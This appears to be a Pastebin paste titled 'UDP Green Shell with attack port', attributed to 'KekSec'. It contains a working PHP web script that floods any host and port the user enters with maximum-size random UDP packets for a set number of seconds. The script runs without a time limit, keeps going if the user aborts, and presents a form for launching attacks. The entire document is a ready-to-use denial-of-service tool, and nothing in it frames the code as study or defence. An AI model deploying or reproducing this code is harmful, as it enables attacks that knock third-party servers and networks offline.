KekSec

UDP Green Shell with attack port

May 29th, 2018
788
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.91 KB | None | 0 0
  1. <html>
  2. <body>
  3. <title>
  4. UDP Flood</title>
  5. <font color="00FF00">
  6.  
  7. <center>
  8. <STYLE>
  9. input{
  10. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
  11. }
  12. button{
  13. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
  14. }
  15. body {
  16. background-color: black;
  17. }
  18. </style>
  19. </br>
  20. </br>
  21. </br>
  22. </br>
  23. </br>
  24. <?php
  25. //UDP
  26. if(isset($_GET['host'])&&isset($_GET['port'])&&isset($_GET['time'])){
  27.     $packets = 0;
  28.     ignore_user_abort(TRUE);
  29.     set_time_limit(0);
  30.  
  31.     $exec_time = $_GET['time'];
  32.  
  33.     $time = time();
  34.     //print "Started: ".time('d-m-y h:i:s')."<br>";
  35.     $max_time = $time+$exec_time;
  36.  
  37.     $host = $_GET['host'];
  38.     $port = $_GET['port'];
  39.  
  40.     $out = "";
  41.     for($i=0;$i<65507;$i++){
  42.         $out .= chr(rand(0,255));
  43.     }
  44.  
  45.     while(1){
  46.         $packets++;
  47.         if(time() > $max_time){
  48.             break;
  49.         }
  50.         $fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 5);
  51.         if($fp){
  52.             fwrite($fp, $out);
  53.             fclose($fp);
  54.         }
  55.     }
  56.     echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second\n";
  57.     echo '<br><br>
  58. <form action="" method=GET>
  59. <input type="hidden" name="act" value="phptools">
  60. Host: <br><input type=text name=host><br>
  61. Port: <br><input type="text" name="port" value=><br>
  62. Length (seconds): <br><input type=text name=time><br>
  63. <input type=submit value=Go></form>';
  64. }else{ echo '<br><b>UDP Flood</b><br>
  65. <form action=? method=GET>
  66. <input type="hidden" name="act" value="phptools">
  67. Host: <br><input type="text" name="host" value=><br>
  68. Port: <br><input type="text" name="port" value=><br>
  69. Length (seconds): <br><input type="text" name="time" value=><br><br>
  70. <input type=submit value=Go></form>';
  71. }
  72. ?>
  73.  
  74. </center>
  75. </body>
  76.  
  77. </html>
Advertisement
Add Comment
Please, Sign In to add comment